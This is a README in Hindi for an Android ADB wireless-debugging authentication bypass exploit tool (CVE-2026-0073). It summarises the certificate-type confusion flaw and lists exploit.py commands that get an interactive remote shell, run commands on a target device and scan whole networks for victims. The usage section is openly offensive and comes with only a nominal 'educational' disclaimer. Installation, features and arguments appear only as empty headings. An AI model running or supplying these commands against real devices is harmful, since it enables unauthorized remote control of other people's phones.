🔓 CVE-2026-0073 - Android ADB वायरलेस डीबगिंग प्रमाणीकरण बाईपास

शून्य-क्लिक | रिमोट शेल | नेटवर्क स्कैनर | शैक्षिक सुरक्षा अनुसंधान उपकरण

🎯 अवलोकन

CVE-2026-0073 Android के ADB डेमॉन में एक महत्वपूर्ण प्रमाणीकरण बाईपास भेद्यता है जो Android 11+ उपकरणों पर वायरलेस डीबगिंग को प्रभावित करती है। दोष TLS प्रमाणपत्र सत्यापन तर्क में निहित है जहां EVP_PKEY_cmp() में एक टाइप कंफ्यूज़न हमलावरों को एक RSA कुंजी के साथ कॉन्फ़िगर किए गए उपकरण के विरुद्ध EC P-256 या Ed25519 प्रमाणपत्र प्रस्तुत करके प्रमाणीकरण को बायपास करने की अनुमति देता है।

यह PoC केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए भेद्यता प्रदर्शित करता है।

✨ विशेषताएँ

📱 प्रभावित संस्करण

पैच: Android Security Bulletin 2026-05-01

📦 स्थापना

🚀 उपयोग उदाहरण

#Basic - One Shot Exploit
python exploit.py --target 192.168.1.100

#Interactive Shell
python exploit.py -t 192.168.1.100 -i

#Execute Single Command
python exploit.py -t 192.168.1.100 -c "id" -o result.txt

#Scan Entire Network
python exploit.py --scan --interface eth0

#Manual Port + Verbose
python exploit.py -t 192.168.1.100 -p 39311 -v

#Ed25519 Certificate
python exploit.py -t 192.168.1.100 --key-type ed25519

#Non-Interactive Mode (Exit After Command)
python exploit.py -t 192.168.1.100 -c "whoami" --no-interactive

⚙️ कमांड लाइन आर्गुमेंट्स

🔗 संबंधित एक्सप्लॉइट्स

मेरे अन्य एक्सप्लॉइट रिपॉजिटरी देखें:

• CVE-2026-41940
• CVE-2026-0024061
• CVE-2026-29000